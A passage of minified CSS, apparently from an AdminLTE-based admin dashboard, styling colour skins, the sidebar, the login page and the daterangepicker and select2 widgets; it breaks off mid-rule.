.sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-green-light .sidebar-menu>li.active>a,.skin-green-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-green-light .sidebar-menu>li.active{border-left-color:#00a65a}.skin-green-light .sidebar-menu>li.active>a{font-weight:600}.skin-green-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-green-light .sidebar a{color:#444}.skin-green-light .sidebar a:hover{text-decoration:none}.skin-green-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-green-light .sidebar-menu .treeview-menu>li.active>a,.skin-green-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-green-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-green-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-green-light .sidebar-form .btn,.skin-green-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-green-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-green-light .sidebar-form input[type=text]:focus,.skin-green-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-green-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-green-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-green-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-red .main-header .navbar{background-color:#dd4b39}.skin-red .main-header .navbar .nav>li>a{color:#fff}.skin-red .main-header .navbar .nav .open>a,.skin-red .main-header .navbar .nav .open>a:focus,.skin-red .main-header .navbar .nav .open>a:hover,.skin-red .main-header .navbar .nav>.active>a,.skin-red .main-header .navbar .nav>li>a:active,.skin-red .main-header .navbar .nav>li>a:focus,.skin-red .main-header .navbar .nav>li>a:hover,.skin-red .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-red .main-header .navbar .sidebar-toggle{color:#fff}.skin-red .main-header .navbar .sidebar-toggle:hover{background-color:#d73925}@media (max-width:767px){.skin-red .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-red .main-header .navbar .dropdown-menu li a{color:#fff}.skin-red .main-header .navbar .dropdown-menu li a:hover{background:#d73925}}.skin-red .main-header .logo{background-color:#d73925;color:#fff;border-bottom:0 solid transparent}.skin-red .main-header .logo:hover{background-color:#d33724}.skin-red .main-header li.user-header{background-color:#dd4b39}.skin-red .content-header{background:transparent}.skin-red .left-side,.skin-red .main-sidebar,.skin-red .wrapper{background-color:#222d32}.skin-red .user-panel>.info,.skin-red .user-panel>.info>a{color:#fff}.skin-red .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-red .sidebar-menu>li>a{border-left:3px solid transparent}.skin-red .sidebar-menu>li.active>a,.skin-red .sidebar-menu>li.menu-open>a,.skin-red .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-red .sidebar-menu>li.active>a{border-left-color:#dd4b39}.skin-red .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-red .sidebar a{color:#b8c7ce}.skin-red .sidebar a:hover{text-decoration:none}.skin-red .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-red .sidebar-menu .treeview-menu>li.active>a,.skin-red .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-red .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-red .sidebar-form .btn,.skin-red .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-red .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-red .sidebar-form input[type=text]:focus,.skin-red .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-red .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-red .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-red-light .main-header .navbar{background-color:#dd4b39}.skin-red-light .main-header .navbar .nav>li>a{color:#fff}.skin-red-light .main-header .navbar .nav .open>a,.skin-red-light .main-header .navbar .nav .open>a:focus,.skin-red-light .main-header .navbar .nav .open>a:hover,.skin-red-light .main-header .navbar .nav>.active>a,.skin-red-light .main-header .navbar .nav>li>a:active,.skin-red-light .main-header .navbar .nav>li>a:focus,.skin-red-light .main-header .navbar .nav>li>a:hover,.skin-red-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-red-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-red-light .main-header .navbar .sidebar-toggle:hover{background-color:#d73925}@media (max-width:767px){.skin-red-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-red-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-red-light .main-header .navbar .dropdown-menu li a:hover{background:#d73925}}.skin-red-light .main-header .logo{background-color:#dd4b39;color:#fff;border-bottom:0 solid transparent}.skin-red-light .main-header .logo:hover{background-color:#dc4735}.skin-red-light .main-header li.user-header{background-color:#dd4b39}.skin-red-light .content-header{background:transparent}.skin-red-light .left-side,.skin-red-light .main-sidebar,.skin-red-light .wrapper{background-color:#f9fafc}.skin-red-light .main-sidebar{border-right:1px solid #d2d6de}.skin-red-light .user-panel>.info,.skin-red-light .user-panel>.info>a{color:#444}.skin-red-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-red-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-red-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-red-light .sidebar-menu>li.active>a,.skin-red-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-red-light .sidebar-menu>li.active{border-left-color:#dd4b39}.skin-red-light .sidebar-menu>li.active>a{font-weight:600}.skin-red-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-red-light .sidebar a{color:#444}.skin-red-light .sidebar a:hover{text-decoration:none}.skin-red-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-red-light .sidebar-menu .treeview-menu>li.active>a,.skin-red-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-red-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-red-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-red-light .sidebar-form .btn,.skin-red-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-red-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-red-light .sidebar-form input[type=text]:focus,.skin-red-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-red-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-red-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-red-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-yellow .main-header .navbar{background-color:#f39c12}.skin-yellow .main-header .navbar .nav>li>a{color:#fff}.skin-yellow .main-header .navbar .nav .open>a,.skin-yellow .main-header .navbar .nav .open>a:focus,.skin-yellow .main-header .navbar .nav .open>a:hover,.skin-yellow .main-header .navbar .nav>.active>a,.skin-yellow .main-header .navbar .nav>li>a:active,.skin-yellow .main-header .navbar .nav>li>a:focus,.skin-yellow .main-header .navbar .nav>li>a:hover,.skin-yellow .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-yellow .main-header .navbar .sidebar-toggle{color:#fff}.skin-yellow .main-header .navbar .sidebar-toggle:hover{background-color:#e08e0b}@media (max-width:767px){.skin-yellow .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-yellow .main-header .navbar .dropdown-menu li a{color:#fff}.skin-yellow .main-header .navbar .dropdown-menu li a:hover{background:#e08e0b}}.skin-yellow .main-header .logo{background-color:#e08e0b;color:#fff;border-bottom:0 solid transparent}.skin-yellow .main-header .logo:hover{background-color:#db8b0b}.skin-yellow .main-header li.user-header{background-color:#f39c12}.skin-yellow .content-header{background:transparent}.skin-yellow .left-side,.skin-yellow .main-sidebar,.skin-yellow .wrapper{background-color:#222d32}.skin-yellow .user-panel>.info,.skin-yellow .user-panel>.info>a{color:#fff}.skin-yellow .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-yellow .sidebar-menu>li>a{border-left:3px solid transparent}.skin-yellow .sidebar-menu>li.active>a,.skin-yellow .sidebar-menu>li.menu-open>a,.skin-yellow .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-yellow .sidebar-menu>li.active>a{border-left-color:#f39c12}.skin-yellow .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-yellow .sidebar a{color:#b8c7ce}.skin-yellow .sidebar a:hover{text-decoration:none}.skin-yellow .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-yellow .sidebar-menu .treeview-menu>li.active>a,.skin-yellow .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-yellow .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-yellow .sidebar-form .btn,.skin-yellow .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-yellow .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-yellow .sidebar-form input[type=text]:focus,.skin-yellow .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-yellow .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-yellow .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-yellow-light .main-header .navbar{background-color:#f39c12}.skin-yellow-light .main-header .navbar .nav>li>a{color:#fff}.skin-yellow-light .main-header .navbar .nav .open>a,.skin-yellow-light .main-header .navbar .nav .open>a:focus,.skin-yellow-light .main-header .navbar .nav .open>a:hover,.skin-yellow-light .main-header .navbar .nav>.active>a,.skin-yellow-light .main-header .navbar .nav>li>a:active,.skin-yellow-light .main-header .navbar .nav>li>a:focus,.skin-yellow-light .main-header .navbar .nav>li>a:hover,.skin-yellow-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-yellow-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-yellow-light .main-header .navbar .sidebar-toggle:hover{background-color:#e08e0b}@media (max-width:767px){.skin-yellow-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-yellow-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-yellow-light .main-header .navbar .dropdown-menu li a:hover{background:#e08e0b}}.skin-yellow-light .main-header .logo{background-color:#f39c12;color:#fff;border-bottom:0 solid transparent}.skin-yellow-light .main-header .logo:hover{background-color:#f39a0d}.skin-yellow-light .main-header li.user-header{background-color:#f39c12}.skin-yellow-light .content-header{background:transparent}.skin-yellow-light .left-side,.skin-yellow-light .main-sidebar,.skin-yellow-light .wrapper{background-color:#f9fafc}.skin-yellow-light .main-sidebar{border-right:1px solid #d2d6de}.skin-yellow-light .user-panel>.info,.skin-yellow-light .user-panel>.info>a{color:#444}.skin-yellow-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-yellow-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-yellow-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-yellow-light .sidebar-menu>li.active>a,.skin-yellow-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-yellow-light .sidebar-menu>li.active{border-left-color:#f39c12}.skin-yellow-light .sidebar-menu>li.active>a{font-weight:600}.skin-yellow-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-yellow-light .sidebar a{color:#444}.skin-yellow-light .sidebar a:hover{text-decoration:none}.skin-yellow-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-yellow-light .sidebar-menu .treeview-menu>li.active>a,.skin-yellow-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-yellow-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-yellow-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-yellow-light .sidebar-form .btn,.skin-yellow-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-yellow-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-yellow-light .sidebar-form input[type=text]:focus,.skin-yellow-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-yellow-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-yellow-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-yellow-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-purple .main-header .navbar{background-color:#605ca8}.skin-purple .main-header .navbar .nav>li>a{color:#fff}.skin-purple .main-header .navbar .nav .open>a,.skin-purple .main-header .navbar .nav .open>a:focus,.skin-purple .main-header .navbar .nav .open>a:hover,.skin-purple .main-header .navbar .nav>.active>a,.skin-purple .main-header .navbar .nav>li>a:active,.skin-purple .main-header .navbar .nav>li>a:focus,.skin-purple .main-header .navbar .nav>li>a:hover,.skin-purple .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-purple .main-header .navbar .sidebar-toggle{color:#fff}.skin-purple .main-header .navbar .sidebar-toggle:hover{background-color:#555299}@media (max-width:767px){.skin-purple .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-purple .main-header .navbar .dropdown-menu li a{color:#fff}.skin-purple .main-header .navbar .dropdown-menu li a:hover{background:#555299}}.skin-purple .main-header .logo{background-color:#555299;color:#fff;border-bottom:0 solid transparent}.skin-purple .main-header .logo:hover{background-color:#545096}.skin-purple .main-header li.user-header{background-color:#605ca8}.skin-purple .content-header{background:transparent}.skin-purple .left-side,.skin-purple .main-sidebar,.skin-purple .wrapper{background-color:#222d32}.skin-purple .user-panel>.info,.skin-purple .user-panel>.info>a{color:#fff}.skin-purple .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-purple .sidebar-menu>li>a{border-left:3px solid transparent}.skin-purple .sidebar-menu>li.active>a,.skin-purple .sidebar-menu>li.menu-open>a,.skin-purple .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-purple .sidebar-menu>li.active>a{border-left-color:#605ca8}.skin-purple .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-purple .sidebar a{color:#b8c7ce}.skin-purple .sidebar a:hover{text-decoration:none}.skin-purple .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-purple .sidebar-menu .treeview-menu>li.active>a,.skin-purple .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-purple .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-purple .sidebar-form .btn,.skin-purple .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-purple .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-purple .sidebar-form input[type=text]:focus,.skin-purple .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-purple .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-purple .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-purple-light .main-header .navbar{background-color:#605ca8}.skin-purple-light .main-header .navbar .nav>li>a{color:#fff}.skin-purple-light .main-header .navbar .nav .open>a,.skin-purple-light .main-header .navbar .nav .open>a:focus,.skin-purple-light .main-header .navbar .nav .open>a:hover,.skin-purple-light .main-header .navbar .nav>.active>a,.skin-purple-light .main-header .navbar .nav>li>a:active,.skin-purple-light .main-header .navbar .nav>li>a:focus,.skin-purple-light .main-header .navbar .nav>li>a:hover,.skin-purple-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-purple-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-purple-light .main-header .navbar .sidebar-toggle:hover{background-color:#555299}@media (max-width:767px){.skin-purple-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-purple-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-purple-light .main-header .navbar .dropdown-menu li a:hover{background:#555299}}.skin-purple-light .main-header .logo{background-color:#605ca8;color:#fff;border-bottom:0 solid transparent}.skin-purple-light .main-header .logo:hover{background-color:#5d59a6}.skin-purple-light .main-header li.user-header{background-color:#605ca8}.skin-purple-light .content-header{background:transparent}.skin-purple-light .left-side,.skin-purple-light .main-sidebar,.skin-purple-light .wrapper{background-color:#f9fafc}.skin-purple-light .main-sidebar{border-right:1px solid #d2d6de}.skin-purple-light .user-panel>.info,.skin-purple-light .user-panel>.info>a{color:#444}.skin-purple-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-purple-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-purple-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-purple-light .sidebar-menu>li.active>a,.skin-purple-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-purple-light .sidebar-menu>li.active{border-left-color:#605ca8}.skin-purple-light .sidebar-menu>li.active>a{font-weight:600}.skin-purple-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-purple-light .sidebar a{color:#444}.skin-purple-light .sidebar a:hover{text-decoration:none}.skin-purple-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-purple-light .sidebar-menu .treeview-menu>li.active>a,.skin-purple-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-purple-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-purple-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-purple-light .sidebar-form .btn,.skin-purple-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-purple-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-purple-light .sidebar-form input[type=text]:focus,.skin-purple-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-purple-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-purple-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-purple-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.sidebar-menu .treeview-menu>li>a>.fab,.sidebar-menu .treeview-menu>li>a>.fal,.sidebar-menu .treeview-menu>li>a>.far,.sidebar-menu .treeview-menu>li>a>.fas,.sidebar-menu>li>a>.fab,.sidebar-menu>li>a>.fal,.sidebar-menu>li>a>.far,.sidebar-menu>li>a>.fas{width:20px}.main-header .sidebar-toggle{font-family:Font Awesome\ 5 Free;font-weight:900}.login-page form label{padding-left:5px}.control-label.required:after{content:" *";font-size:110%}.timeline>li>.fab,.timeline>li>.fal,.timeline>li>.far,.timeline>li>.fas{width:30px;height:30px;font-size:15px;line-height:30px;position:absolute;color:#666;background:#d2d6de;border-radius:50%;text-align:center;left:18px;top:0}@media (min-width:768px){body.login-page .login-logo{padding-top:45px;margin-bottom:55px}}body.login-page .login-box-body{padding:20px;box-shadow:0 29px 147.5px 102.5px rgba(0,0,0,.05),0 29px 95px 0 rgba(0,0,0,.16)}body.login-page label{font-weight:400}body.login-page button.btn.btn-flat,body.login-page input[type=password],body.login-page input[type=text]{border-radius:3px}.daterangepicker{position:absolute;color:inherit;background-color:#fff;border-radius:4px;border:1px solid #ddd;width:278px;max-width:none;padding:0;margin-top:7px;top:100px;left:20px;z-index:3001;display:none;font-family:arial;font-size:15px;line-height:1em}.daterangepicker:after,.daterangepicker:before{position:absolute;display:inline-block;border-bottom-color:rgba(0,0,0,.2);content:""}.daterangepicker:before{top:-7px;border-right:7px solid transparent;border-left:7px solid transparent;border-bottom:7px solid #ccc}.daterangepicker:after{top:-6px;border-right:6px solid transparent;border-bottom:6px solid #fff;border-left:6px solid transparent}.daterangepicker.opensleft:before{right:9px}.daterangepicker.opensleft:after{right:10px}.daterangepicker.openscenter:after,.daterangepicker.openscenter:before{left:0;right:0;width:0;margin-left:auto;margin-right:auto}.daterangepicker.opensright:before{left:9px}.daterangepicker.opensright:after{left:10px}.daterangepicker.drop-up{margin-top:-7px}.daterangepicker.drop-up:before{top:auto;bottom:-7px;border-bottom:initial;border-top:7px solid #ccc}.daterangepicker.drop-up:after{top:auto;bottom:-6px;border-bottom:initial;border-top:6px solid #fff}.daterangepicker.single .daterangepicker .ranges,.daterangepicker.single .drp-calendar{float:none}.daterangepicker.single .drp-selected{display:none}.daterangepicker.show-calendar .drp-buttons,.daterangepicker.show-calendar .drp-calendar{display:block}.daterangepicker.auto-apply .drp-buttons{display:none}.daterangepicker .drp-calendar{display:none;max-width:270px}.daterangepicker .drp-calendar.left{padding:8px 0 8px 8px}.daterangepicker .drp-calendar.right{padding:8px}.daterangepicker .drp-calendar.single .calendar-table{border:none}.daterangepicker .calendar-table .next span,.daterangepicker .calendar-table .prev span{color:#fff;border:solid #000;border-width:0 2px 2px 0;border-radius:0;display:inline-block;padding:3px}.daterangepicker .calendar-table .next span{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}.daterangepicker .calendar-table .prev span{transform:rotate(135deg);-webkit-transform:rotate(135deg)}.daterangepicker .calendar-table td,.daterangepicker .calendar-table th{text-align:center;vertical-align:middle;min-width:32px;width:32px;height:24px;line-height:24px;font-size:12px;border-radius:4px;border:1px solid transparent;white-space:nowrap;cursor:pointer}.daterangepicker .calendar-table{border:1px solid #fff;border-radius:4px;background-color:#fff}.daterangepicker .calendar-table table{width:100%;margin:0;border-spacing:0;border-collapse:collapse}.daterangepicker td.available:hover,.daterangepicker th.available:hover{background-color:#eee;border-color:transparent;color:inherit}.daterangepicker td.week,.daterangepicker th.week{font-size:80%;color:#ccc}.daterangepicker td.off,.daterangepicker td.off.end-date,.daterangepicker td.off.in-range,.daterangepicker td.off.start-date{background-color:#fff;border-color:transparent;color:#999}.daterangepicker td.in-range{background-color:#ebf4f8;border-color:transparent;color:#000;border-radius:0}.daterangepicker td.start-date{border-radius:4px 0 0 4px}.daterangepicker td.end-date{border-radius:0 4px 4px 0}.daterangepicker td.start-date.end-date{border-radius:4px}.daterangepicker td.active,.daterangepicker td.active:hover{background-color:#357ebd;border-color:transparent;color:#fff}.daterangepicker th.month{width:auto}.daterangepicker option.disabled,.daterangepicker td.disabled{color:#999;cursor:not-allowed;text-decoration:line-through}.daterangepicker select.monthselect,.daterangepicker select.yearselect{font-size:12px;padding:1px;height:auto;margin:0;cursor:default}.daterangepicker select.monthselect{margin-right:2%;width:56%}.daterangepicker select.yearselect{width:40%}.daterangepicker select.ampmselect,.daterangepicker select.hourselect,.daterangepicker select.minuteselect,.daterangepicker select.secondselect{width:50px;margin:0 auto;background:#eee;border:1px solid #eee;padding:2px;outline:0;font-size:12px}.daterangepicker .calendar-time{text-align:center;margin:4px auto 0;line-height:30px;position:relative}.daterangepicker .calendar-time select.disabled{color:#ccc;cursor:not-allowed}.daterangepicker .drp-buttons{clear:both;text-align:right;padding:8px;border-top:1px solid #ddd;display:none;line-height:12px;vertical-align:middle}.daterangepicker .drp-selected{display:inline-block;font-size:12px;padding-right:8px}.daterangepicker .drp-buttons .btn{margin-left:8px;font-size:12px;font-weight:700;padding:4px 8px}.daterangepicker.show-ranges.single.rtl .drp-calendar.left{border-right:1px solid #ddd}.daterangepicker.show-ranges.single.ltr .drp-calendar.left{border-left:1px solid #ddd}.daterangepicker.show-ranges.rtl .drp-calendar.right{border-right:1px solid #ddd}.daterangepicker.show-ranges.ltr .drp-calendar.left{border-left:1px solid #ddd}.daterangepicker .ranges{float:none;text-align:left;margin:0}.daterangepicker.show-calendar .ranges{margin-top:8px}.daterangepicker .ranges ul{list-style:none;margin:0 auto;padding:0;width:100%}.daterangepicker .ranges li{font-size:12px;padding:8px 12px;cursor:pointer}.daterangepicker .ranges li:hover{background-color:#eee}.daterangepicker .ranges li.active{background-color:#08c;color:#fff}@media (min-width:564px){.daterangepicker{width:auto}.daterangepicker .ranges ul{width:140px}.daterangepicker.single .ranges ul{width:100%}.daterangepicker.single .drp-calendar.left{clear:none}.daterangepicker.single .drp-calendar,.daterangepicker.single .ranges{float:left}.daterangepicker{direction:ltr;text-align:left}.daterangepicker .drp-calendar.left{clear:left;margin-right:0}.daterangepicker .drp-calendar.left .calendar-table{border-right:none;border-top-right-radius:0;border-bottom-right-radius:0}.daterangepicker .drp-calendar.right{margin-left:0}.daterangepicker .drp-calendar.right .calendar-table{border-left:none;border-top-left-radius:0;border-bottom-left-radius:0}.daterangepicker .drp-calendar.left .calendar-table{padding-right:8px}.daterangepicker .drp-calendar,.daterangepicker .ranges{float:left}}@media (min-width:730px){.daterangepicker .ranges{width:auto;float:left}.daterangepicker.rtl .ranges{float:right}.daterangepicker .drp-calendar.left{clear:none!important}}.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir=rtl] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:#fff;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0!important;clip:rect(0 0 0 0)!important;-webkit-clip-path:inset(50%)!important;clip-path:inset(50%)!important;height:1px!important;overflow:hidden!important;padding:0!important;position:absolute!important;width:1px!important;white-space:nowrap!important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:700}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent;border-style:solid;border-width:5px 4px 0;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir=rtl] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow 